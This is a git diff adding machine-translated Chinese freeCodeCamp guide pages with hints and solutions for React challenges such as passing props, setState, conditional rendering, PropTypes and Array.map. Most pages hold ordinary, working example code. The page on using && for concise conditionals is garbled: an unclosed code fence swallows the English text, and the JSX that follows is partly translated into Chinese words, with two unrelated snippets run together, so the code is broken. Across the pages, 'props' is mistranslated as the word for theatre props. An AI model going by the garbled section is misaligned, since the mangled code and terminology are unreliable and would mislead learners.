+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+然后，必须在“List”组件内处理props：
+
+```javascript
+const List= (props) => { 
+  return <p>{props.tasks.join(", ")}</p> 
+ }; 
+ 
+ // ... same as above 
+```
+
+`.join(", ")`方法用于从数组中获取每个元素，并将它们连接到要显示的字符串中。
+
+我们在此示例中使用React的模块化来显示由两个不同组件传递给渲染最终HTML的公共组件的任务。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/pass-props-to-a-stateless-functional-component/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/pass-props-to-a-stateless-functional-component/index.md
new file mode 100644
index 0000000000..249c659a3a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/pass-props-to-a-stateless-functional-component/index.md
@@ -0,0 +1,48 @@
+---
+title: Pass Props to a Stateless Functional Component
+localeTitle: 将道具传递给无状态功能组件
+---
+## 将道具传递给无状态功能组件
+
+### 提示1
+
+在Calendar组件中定义一个名为date的prop，如下所示：
+
+```jsx
+<CurrentDate date={Date()} /> 
+```
+
+\`
+
+### 提示2
+
+语法prop.propName用于呈现prop。
+
+### 解
+
+在Calendar组件中按如下方式指定一个名为date的prop，并在Calendar组件中呈现它，如：
+
+```jsx
+const CurrentDate = (props) => { 
+  return ( 
+    <div> 
+      <p>The current date is: {props.date}</p> 
+    </div> 
+  ); 
+ }; 
+ 
+ class Calendar extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h3>What date is it?</h3> 
+        <CurrentDate date={Date()} /> 
+      </div> 
+    ); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/pass-state-as-props-to-child-components/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/pass-state-as-props-to-child-components/index.md
new file mode 100644
index 0000000000..777a331adf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/pass-state-as-props-to-child-components/index.md
@@ -0,0 +1,43 @@
+---
+title: Pass State as Props to Child Components
+localeTitle: 将状态作为道具传递给子组件
+---
+## 将状态作为道具传递给子组件
+
+在这个挑战中，我们将传递状态，但由于状态是其父组件的本地，我们必须使用**props**传递给子组件。在子组件中使用props将允许我们将所有状态数据保存在父组件中，并且我们可以将数据沿一个方向传递给子组件。
+
+```javascript
+class MyApp extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      name: 'CamperBot' 
+    } 
+  } 
+  render() { 
+    return ( 
+       <div> 
+         // Here we will call this.state.name in order to pass the value of CamperBot 
+         // to the NavBar component 
+         <Navbar name={this.state.name} /> 
+       </div> 
+    ); 
+  } 
+ }; 
+ 
+ class Navbar extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    return ( 
+    <div> 
+      // Since we passed in the CamperBot state value into the the NavBar component above 
+      // the h1 element below will render the value passed from state 
+      <h1>Hello, my name is: {this.props.name}</h1> 
+    </div> 
+    ); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/render-a-class-component-to-the-dom/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/render-a-class-component-to-the-dom/index.md
new file mode 100644
index 0000000000..4a70b973a9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/render-a-class-component-to-the-dom/index.md
@@ -0,0 +1,35 @@
+---
+title: Render a Class Component to the DOM
+localeTitle: 将类组件渲染到DOM
+---
+## 将类组件渲染到DOM
+
+你的代码应该看起来像这样：
+
+```javascript
+class TypesOfVehicles extends React.Component { 
+    constructor(props) { 
+        super(props); 
+    } 
+    render() { 
+        return ( 
+          <div> 
+          <h1>Types of Vehicles:</h1> 
+          <Car /> 
+          <Motorcycle /> 
+          </div> 
+        ); 
+    } 
+ } 
+ ReactDOM.render(<TypesOfVehicles />,'node-id') 
+```
+
+ReactDOM.render语法可能有点棘手，在传入类组件时需要使用三角括号。此外，两个子组件在幕后声明，如果您习惯于在代码编辑器中定义并在您面前可见的所有变量，则可能会造成混淆。
+
+### 暗示
+
+*   使用document.getElementById（'id'）来获取目标节点
+
+### 相关链接
+
+*   [渲染元素](https://reactjs.org/docs/rendering-elements.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/render-conditionally-from-props/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/render-conditionally-from-props/index.md
new file mode 100644
index 0000000000..12c593600a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/render-conditionally-from-props/index.md
@@ -0,0 +1,38 @@
+---
+title: Render Conditionally from Props
+localeTitle: 从道具有条理地渲染
+---
+## 从道具有条理地渲染
+
+这是一个有点棘手的挑战，但很容易。
+
+## 解
+
+使用适当的增量声明更改`handleClick()` 。
+
+```react.js
+handleClick() { 
+  this.setState({ 
+    counter: this.state.counter + 1 
+  }); 
+ } 
+```
+
+在`render()`方法中，使用质询描述中提到的`Math.random()`并编写三元表达式以在**Results**组件中传递`props` 。
+
+```react.js
+ let expression = Math.random() > .5; 
+ 
+ {(expression == 1)? <Results fiftyFifty="You win!"/> : <Results fiftyFifty="You lose!"/> } 
+```
+
+然后在Results组件中渲染`fiftyFifty`道具。
+
+```react.js
+  <h1> 
+  { 
+    this.props.fiftyFifty 
+  } 
+  </h1> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/render-html-elements-to-the-dom/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/render-html-elements-to-the-dom/index.md
new file mode 100644
index 0000000000..ed26b0d41e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/render-html-elements-to-the-dom/index.md
@@ -0,0 +1,20 @@
+---
+title: Render HTML Elements to the DOM
+localeTitle: 将HTML元素渲染到DOM
+---
+# 将HTML元素渲染到DOM
+
+要将元素呈现给DOm，我们使用以下语法
+
+```javascript
+ReactDOM.render(<item to be rendered>, <where to be rendered>); 
+```
+
+## 解
+
+遵循语法，我们将添加这行代码以将JSX元素呈现给具有challenge-node的id的div。
+
+```javascript
+ReactDOM.render(JSX,document.getElementById('challenge-node')); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/render-react-on-the-server-with-rendertostring/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/render-react-on-the-server-with-rendertostring/index.md
new file mode 100644
index 0000000000..eec3079778
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/render-react-on-the-server-with-rendertostring/index.md
@@ -0,0 +1,24 @@
+---
+title: Render React on the Server with renderToString
+localeTitle: 使用renderToString在服务器上渲染React
+---
+## 使用renderToString在服务器上渲染React
+
+## 解：
+
+您将`class`传递给`.renderToString()`就像将组件传递给`render`方法一样。
+
+```jsx
+class App extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    return <div/> 
+  } 
+ }; 
+ 
+ // change code below this line 
+ ReactDOMServer.renderToString(<App />); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/render-state-in-the-user-interface-another-way/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/render-state-in-the-user-interface-another-way/index.md
new file mode 100644
index 0000000000..5437c1b5ff
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/render-state-in-the-user-interface-another-way/index.md
@@ -0,0 +1,57 @@
+---
+title: Render State in the User Interface Another Way
+localeTitle: 用户界面中的渲染状态另一种方式
+---
+## 用户界面中的渲染状态另一种方式
+
+#### 提示1：
+
+```JSX
+class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      name: 'freeCodeCamp' 
+    } 
+  } 
+  render() { 
+    // change code below this line 
+            // Remember that how you can access the property of a state. 
+    // change code above this line 
+    return ( 
+      <div> 
+        { /* change code below this line */ } 
+            // Just use the const "name" inside the h1 tag. 
+            // Dont forget to use JSX syntax "{ curly braces for JavaScript }". 
+        { /* change code above this line */ } 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+## 解
+
+```JSX
+class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      name: 'freeCodeCamp' 
+    } 
+  } 
+  render() { 
+    // change code below this line 
+    const name = this.state.name; 
+    // change code above this line 
+    return ( 
+      <div> 
+        { /* change code below this line */ } 
+          <h1>{name}</h1> 
+        { /* change code above this line */ } 
+      </div> 
+    ); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/render-state-in-the-user-interface/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/render-state-in-the-user-interface/index.md
new file mode 100644
index 0000000000..7aa90f5916
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/render-state-in-the-user-interface/index.md
@@ -0,0 +1,34 @@
+---
+title: Render State in the User Interface
+localeTitle: 在用户界面中渲染状态
+---
+## 在用户界面中渲染状态
+
+在挑战中，您需要在`<h1>`标记中呈现状态值，非常简单。
+
+## 暗示
+
+只需创建一个`<h1>`标记并在标记之间渲染`this.state.name` 。
+
+## 解
+
+```react.js
+class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      name: 'freeCodeCamp' 
+    } 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        { /* change code below this line */ } 
+        <h1>{this.state.name}</h1> 
+        { /* change code above this line */ } 
+      </div> 
+    ); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/render-with-an-ifelse-condition/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/render-with-an-ifelse-condition/index.md
new file mode 100644
index 0000000000..7e183dccd3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/render-with-an-ifelse-condition/index.md
@@ -0,0 +1,37 @@
+---
+title: Render with an If/Else Condition
+localeTitle: 使用If / Else条件渲染
+---
+## 使用If / Else条件渲染
+
+### 方法
+
+在组件的render方法内部，编写if / else语句，每个语句都有自己的返回方法，该方法具有不同的JSX。这使程序员能够根据各种条件呈现不同的UI。
+
+首先，将当前返回方法包装在if语句中，并设置条件以检查变量'display'是否为true。请记住，您使用`this.state`访问状态。
+
+### 解
+
+```react.js
+if (this.state.display === true) { 
+  return ( 
+    <div> 
+      <button onClick={this.toggleDisplay}>Toggle Display</button> 
+      <h1>Displayed!</h1> 
+    </div> 
+  ); 
+ } 
+```
+
+接下来，创建一个else语句，返回**不带** `h1`元素的相同JSX。
+
+```react.js
+else { 
+  return ( 
+    <div> 
+      <button onClick={this.toggleDisplay}>Toggle Display</button> 
+    </div> 
+  ) 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/review-using-props-with-stateless-functional-components/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/review-using-props-with-stateless-functional-components/index.md
new file mode 100644
index 0000000000..3fb4122e73
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/review-using-props-with-stateless-functional-components/index.md
@@ -0,0 +1,29 @@
+---
+title: Review Using Props with Stateless Functional Components
+localeTitle: 查看使用无状态功能组件的道具
+---
+## 查看使用无状态功能组件的道具
+
+### 提示
+
+*   功能（又名无状态）组件只是一个简单的javascript函数，它将props作为参数并返回一个react元素。
+*   使用`Component.defaultProps`设置默认道具。
+*   使用`Component.propTypes`设置道具类型。
+
+### 解
+
+```javascript
+const Camper = props => (<p>{props.name}</p>); 
+ 
+ Camper.defaultProps = { 
+  name: 'CamperBot' 
+ }; 
+ 
+ Camper.propTypes = { 
+  name: PropTypes.string.isRequired 
+ }; 
+```
+
+### 相关链接
+
+*   [使用PropTypes进行类型检查](https://reactjs.org/docs/typechecking-with-proptypes.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/set-state-with-this-setstate/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/set-state-with-this-setstate/index.md
new file mode 100644
index 0000000000..f5a79801d1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/set-state-with-this-setstate/index.md
@@ -0,0 +1,66 @@
+---
+title: Set State with this.setState
+localeTitle: 使用this.setState设置State
+---
+## 使用this.setState设置State
+
+#### 提示1：
+
+```JSX
+class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      name: 'Initial State' 
+    }; 
+    this.handleClick = this.handleClick.bind(this); 
+  } 
+  handleClick() { 
+    // change code below this line 
+       // Update the state data by using "this.setState()" method. 
+       // You can look to the sample inside the description for calling "setState()" method. 
+    // change code above this line 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <button onClick={this.handleClick}>Click Me</button> 
+        <h1>{this.state.name}</h1> 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+## 解
+
+```JSX
+class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      name: 'Initial State' 
+    }; 
+    this.handleClick = this.handleClick.bind(this); 
+  } 
+  handleClick() { 
+    // change code below this line 
+    this.setState({ 
+      name: 'React Rocks!' 
+    }); 
+    // change code above this line 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <button onClick={this.handleClick}>Click Me</button> 
+        <h1>{this.state.name}</h1> 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+### 代码说明：
+
+当用户单击按钮时，将调用“handleClick（）”方法 在此方法中，构造函数状态的数据将通过“setState（）”方法更新。 然后将使用构造函数状态的新数据更改h1标记。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/use--for-a-more-concise-conditional/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/use--for-a-more-concise-conditional/index.md
new file mode 100644
index 0000000000..90e46b7440
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/use--for-a-more-concise-conditional/index.md
@@ -0,0 +1,61 @@
+---
+title: Use && for a More Concise Conditional
+localeTitle: 使用&&获得更简洁的条件
+---
+## 使用&&获得更简洁的条件
+
+给出的例子是
+```
+{condition && <p>markup</p>} 
+```
+
+下面使用this.state.dinnerCooked布尔值的条件演示。 如果布尔值为true，则显示带有条件的{}中包含的标记，否则将不显示
+```
+class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      dinnerCooked: true 
+    } 
+  } 
+  render() { 
+    return ( 
+       <div> 
+         {this.state.dinnerCooked &&<h1>Dinner is Cooked!</h1>}//h1 tag contents will be displayed 
+       </div> 
+    ); 
+  } 
+ }; 
+ 
+ ## Hint: 
+ 
+ You don't have to do a full ```if/then``` statement. Just write the condition you are checking. 
+ 
+ ## Solution: 
+ 
+ As you can see, you don't have to write the full ```if/then``` statement. We only need to check the condition and see if it returns ```true``` or ```false```. In this case, we are checking the value of ```display```. If the value is ```true```, then you return the value to the right of ```&&```, which is ```<h1>Displayed!</h1>```. If the condition is ```false```, it returns nothing. 
+```
+
+JSX class MyComponent扩展了React.Component { 构造函数（道具）{ 超级（道具）; this.state = { 晚餐结束：假 }  
+} render（）{  
+回来（
+
+{this.state.dinnerCooked &&
+
+# 晚餐很熟！
+
+} // h1标签内容将不会显示 显示：true } this.toggleDisplay = this.toggleDisplay.bind（this）; } toggleDisplay（）{ this.setState（{ display：！this.state.display }）; } render（）{ //更改此行下方的代码 回来（
+
+切换显示 {this.state.display &&
+
+# 显示出来！
+
+}
+
+）; } }; \`\`\` 来自[ReactJS.org文档的说明](https://reactjs.org/docs/conditional-rendering.html)
+
+您可以通过将它们包装在花括号中来在JSX中嵌入任何表达式。这包括JavaScript逻辑&&运算符。它有条件地包括元素可以很方便
+
+它的工作原理是因为在JavaScript中，true &&表达式总是求值为表达式，而false &&表达式总是求值为false。
+
+因此，如果条件为真，则&&之后的元素将出现在输出中。如果是false，React将忽略并跳过它。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/use-a-ternary-expression-for-conditional-rendering/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/use-a-ternary-expression-for-conditional-rendering/index.md
new file mode 100644
index 0000000000..3d6fab4ae2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/use-a-ternary-expression-for-conditional-rendering/index.md
@@ -0,0 +1,43 @@
+---
+title: Use a Ternary Expression for Conditional Rendering
+localeTitle: 使用三元表达式进行条件渲染
+---
+## 使用三元表达式进行条件渲染
+
+这个挑战是仅使用三元表达而不是在代码中使用`If/Else` ，
+
+## 暗示
+
+三元运算符有三个部分，但您可以将几个三元表达式组合在一起。这是基本语法：
+```
+condition ? expressionIfTrue : expressionIfFalse 
+```
+
+## 解
+
+这是使用三元表达的示例解决方案。 首先，您需要在构造函数中声明状态，如下所示
+
+```react.js
+constructor(props) { 
+    super(props); 
+    // change code below this line 
+      this.state = { 
+        input: '', 
+        userAge: '' 
+      } 
+    // change code above this line 
+    this.submit = this.submit.bind(this); 
+    this.handleChange = this.handleChange.bind(this); 
+  } 
+```
+
+然后是三元运算符
+
+```react.js
+{ 
+    /* change code here */ 
+    (this.state.userAge >= 18) ? buttonTwo : (this.state.userAge== '')? buttonOne: buttonThree 
+ 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/use-advanced-javascript-in-react-render-method/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/use-advanced-javascript-in-react-render-method/index.md
new file mode 100644
index 0000000000..443dbab44d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/use-advanced-javascript-in-react-render-method/index.md
@@ -0,0 +1,26 @@
+---
+title: Use Advanced JavaScript in React Render Method
+localeTitle: 在React Render方法中使用高级JavaScript
+---
+## 在React Render方法中使用高级JavaScript
+
+### 方法
+
+当您在render方法内部而不在return方法内部时，您可以编写JavaScript **而不**将其包装在花括号内。
+
+首先，您必须将常量“回答”设置为值。使用'randomIndex'的值访问'possibleAnswers'数组，该值位于组件的状态中。请记住，您使用`this.state`访问状态。
+
+### 解
+
+```js
+const answer = possibleAnswers[this.state.randomIndex]; 
+```
+
+接下来，将const“answer”插入p-tags。确保用花括号`{ }`包裹它。
+
+```jsx
+<p> 
+  {answer} 
+ </p> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/use-array-filter-to-dynamically-filter-an-array/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/use-array-filter-to-dynamically-filter-an-array/index.md
new file mode 100644
index 0000000000..d857b161e3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/use-array-filter-to-dynamically-filter-an-array/index.md
@@ -0,0 +1,70 @@
+---
+title: Use Array.filter() to Dynamically Filter an Array
+localeTitle: 使用Array.filter（）动态过滤数组
+---
+## 使用Array.filter（）动态过滤数组
+
+## 提示1：
+
+使用`.filter()`创建仅在线显示用户的新阵列。
+
+`this.state.users.filter(i => i.online == true)`
+
+## 提示2：
+
+使用上一个练习之前的`.map()`来列出在线用户并为他们提供一个唯一的密钥。
+
+`usersOnline.map((i) => <li key={i.username + 1}>{i.username}</li>)`
+
+## 解：
+
+两种方法组合将首先筛选出数组，然后单独列出它们。
+
+```jsx
+class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      users: [ 
+        { 
+          username: 'Jeff', 
+          online: true 
+        }, 
+        { 
+          username: 'Alan', 
+          online: false 
+        }, 
+        { 
+          username: 'Mary', 
+          online: true 
+        }, 
+        { 
+          username: 'Jim', 
+          online: false 
+        }, 
+        { 
+          username: 'Sara', 
+          online: true 
+        }, 
+        { 
+          username: 'Laura', 
+          online: true 
+        } 
+      ] 
+    } 
+  } 
+  render() { 
+    const usersOnline = this.state.users.filter(i => i.online == true); // change code here 
+    const renderOnline = usersOnline.map((i) => <li key={i.username + 1}>{i.username}</li>); // change code here 
+    return ( 
+       <div> 
+         <h1>Current Online Users:</h1> 
+         <ul> 
+           {renderOnline} 
+         </ul> 
+       </div> 
+    ); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/use-array-map-to-dynamically-render-elements/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/use-array-map-to-dynamically-render-elements/index.md
new file mode 100644
index 0000000000..9b059f1a6a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/use-array-map-to-dynamically-render-elements/index.md
@@ -0,0 +1,75 @@
+---
+title: Use Array.map() to Dynamically Render Elements
+localeTitle: 使用Array.map（）动态渲染元素
+---
+## 使用Array.map（）动态渲染元素
+
+## 提示1：
+
+将两个状态定义为JavaScript `object` 。
+
+```javascript
+{object: state, object: state} 
+```
+
+## 提示2：
+
+您需要`.map()`为数组中的每个对象生成一行。
+
+```javascript
+this.state.toDoList.map(i => <li>{i}</li>); 
+```
+
+## 解：
+
+添加地图功能后，您会注意到它会为您放入列表中的每个项目生成`<li>` 。
+
+```jsx
+const textAreaStyles = { 
+  width: 235, 
+  margin: 5 
+ }; 
+ 
+ class MyToDoList extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    // change code below this line 
+    this.state = { 
+      userInput: '', 
+      toDoList: [] 
+    } 
+    // change code above this line 
+    this.handleSubmit = this.handleSubmit.bind(this); 
+    this.handleChange = this.handleChange.bind(this); 
+  } 
+  handleSubmit() { 
+    const itemsArray = this.state.userInput.split(','); 
+    this.setState({ 
+      toDoList: itemsArray 
+    }); 
+  } 
+  handleChange(e) { 
+    this.setState({ 
+      userInput: e.target.value 
+    }); 
+  } 
+  render() { 
+    const items = this.state.toDoList.map(i => <li>{i}</li>); // change code here 
+    return ( 
+      <div> 
+        <textarea 
+          onChange={this.handleChange} 
+          value={this.state.userInput} 
+          style={textAreaStyles} 
+          placeholder="Separate Items With Commas" /><br /> 
+        <button onClick={this.handleSubmit}>Create List</button> 
+        <h1>My "To Do" List:</h1> 
+        <ul> 
+          {items} 
+        </ul> 
+      </div> 
+    ); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/use-default-props/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/use-default-props/index.md
new file mode 100644
index 0000000000..6188ef8f46
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/use-default-props/index.md
@@ -0,0 +1,36 @@
+---
+title: Use Default Props
+localeTitle: 使用默认道具
+---
+## 使用默认道具
+
+这个挑战让您宣布ShoppingCart组件的默认道具
+
+```javascript
+const ShoppingCart = (props) => { 
+  return ( 
+    <div> 
+      <h1>Shopping Cart Component</h1> 
+    </div> 
+  ) 
+ }; 
+```
+
+要声明默认道具，要遵循的语法是
+
+```javascript
+itemName.defaultProps = { 
+  prop-x: value, 
+  prop-y: value 
+ } 
+```
+
+在语法之后，应在给定代码下面声明以下代码
+
+```javascript
+ShoppingCart.defaultProps = { 
+  items: 0 
+ } 
+```
+
+这声明了一个名为'items'的道具，其值为'0'。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/use-proptypes-to-define-the-props-you-expect/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/use-proptypes-to-define-the-props-you-expect/index.md
new file mode 100644
index 0000000000..c2b780ac24
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/use-proptypes-to-define-the-props-you-expect/index.md
@@ -0,0 +1,30 @@
+---
+title: Use PropTypes to Define the Props You Expect
+localeTitle: 使用PropTypes定义您期望的道具
+---
+## 使用PropTypes定义您期望的道具
+
+您可以通过此挑战为`Items`组件设置`propTypes` 。
+
+```react.js
+const Items = (props) => { 
+  return <h1>Current Quantity of Items in Cart: {props.quantity}</h1> 
+ }; 
+```
+
+要设置propTypes，要遵循的语法是
+
+```react.js
+itemName.propTypes = { 
+  props: PropTypes.dataType.isRequired 
+ }; 
+```
+
+在语法之后，应该在`Items`组件的`quantity`道具的给定代码下面设置以下代码
+
+```react.js
+Items.propTypes = { 
+  quantity: PropTypes.number.isRequired 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/use-react-to-render-nested-components/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/use-react-to-render-nested-components/index.md
new file mode 100644
index 0000000000..1c34e824ab
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/use-react-to-render-nested-components/index.md
@@ -0,0 +1,22 @@
+---
+title: Use React to Render Nested Components
+localeTitle: 使用React渲染嵌套组件
+---
+## 使用React渲染嵌套组件
+
+您在前面的课程中已经了解到，有两种方法可以创建React组件：
+
+1.  无状态功能组件 - 使用JavaScript函数。
+    
+2.  使用ES6语法定义React组件。
+    
+
+在这个测验中，我们定义了两个无状态功能组件，即使用JavaScript函数。回想一下，一旦创建了一个组件，就可以使用HTML开始和结束括号内的组件名称，以与HTML标签相同的方式呈现它。例如，要将名为Dog的组件嵌套在名为Animals的父组件中，您只需从Animals组件返回Dog组件，如下所示：
+
+```javascript
+return ( 
+  <Dog /> 
+ ) 
+```
+
+尝试使用TypesOfFruit和Fruits组件。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/use-state-to-toggle-an-element/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/use-state-to-toggle-an-element/index.md
new file mode 100644
index 0000000000..c27bd7ca25
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/use-state-to-toggle-an-element/index.md
@@ -0,0 +1,64 @@
+---
+title: Use State to Toggle an Element
+localeTitle: 使用State切换元素
+---
+## 使用State切换元素
+
+*   您可以通过检查和更改其状态来切换元素。
+
+## 提示1：
+
+*   记住要结合`this`的方法构造。
+
+```javascript
+    this.toggleVisibility = this.toggleVisibility.bind(this); 
+```
+
+## 提示2：
+
+*   请记住，您可以使用JavaScript函数来检查元素的状态。
+
+## 解：
+
+```jsx
+class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      visibility: false 
+    }; 
+    // change code below this line 
+    this.toggleVisibility = this.toggleVisibility.bind(this); 
+    // change code above this line 
+  } 
+  // change code below this line 
+  toggleVisibility() { 
+    if (this.state.visibility == true) { 
+    this.setState({ 
+      visibility: false 
+    });} else { 
+      this.setState({ 
+        visibility: true 
+      }) 
+    } 
+  } 
+  // change code above this line 
+  render() { 
+    if (this.state.visibility) { 
+      return ( 
+        <div> 
+          <button onClick={this.toggleVisibility}>Click Me</button> 
+          <h1>Now you see me!</h1> 
+        </div> 
+      ); 
+    } else { 
+      return ( 
+        <div> 
+          <button onClick={this.toggleVisibility}>Click Me</button> 
+        </div> 
+      ); 
+    } 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/use-the-lifecycle-method-componentdidmount/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/use-the-lifecycle-method-componentdidmount/index.md
new file mode 100644
index 0000000000..4f2f69a5cb
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/use-the-lifecycle-method-componentdidmount/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Lifecycle Method componentDidMount
+localeTitle: 使用生命周期方法componentDidMount
+---
+## 使用生命周期方法componentDidMount
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react/use-the-lifecycle-method-componentdidmount/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/use-the-lifecycle-method-componentwillmount/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/use-the-lifecycle-method-componentwillmount/index.md
new file mode 100644
index 0000000000..4d2ba9ff38
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/use-the-lifecycle-method-componentwillmount/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Lifecycle Method componentWillMount
+localeTitle: 使用生命周期方法componentWillMount
+---
+## 使用生命周期方法componentWillMount
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react/use-the-lifecycle-method-componentwillmount/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/front-end-libraries/react/write-a-react-component-from-scratch/index.md b/client/src/guide/chinese/certifications/front-end-libraries/react/write-a-react-component-from-scratch/index.md
new file mode 100644
index 0000000000..62775f003e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/front-end-libraries/react/write-a-react-component-from-scratch/index.md
@@ -0,0 +1,41 @@
+---
+title: Write a React Component from Scratch
+localeTitle: 从Scratch写一个React组件
+---
+## 从Scratch写一个React组件
+
+在这个挑战中，我们想要创建一个`class`反应组件（React组件可以是`class`组件或`function`组件）。我们所有的类组件都将成为`React.Component`的扩展。例如，我们可以开始创建一个名为`FirstComponent`的组件：
+
+```javascript
+class FirstComponent extends React.Component { 
+ 
+ }; 
+```
+
+我们还需要确保为新类定义`constructor` 。最好使用`super`调用任何组件的`constructor` ，并将`props`传递给它们。 `super`拉取组件父类的`constructor` （在本例中为`React.Component` ）。现在，我们组件的代码如下所示：
+
+```javascript
+class FirstComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+ 
+ }; 
+```
+
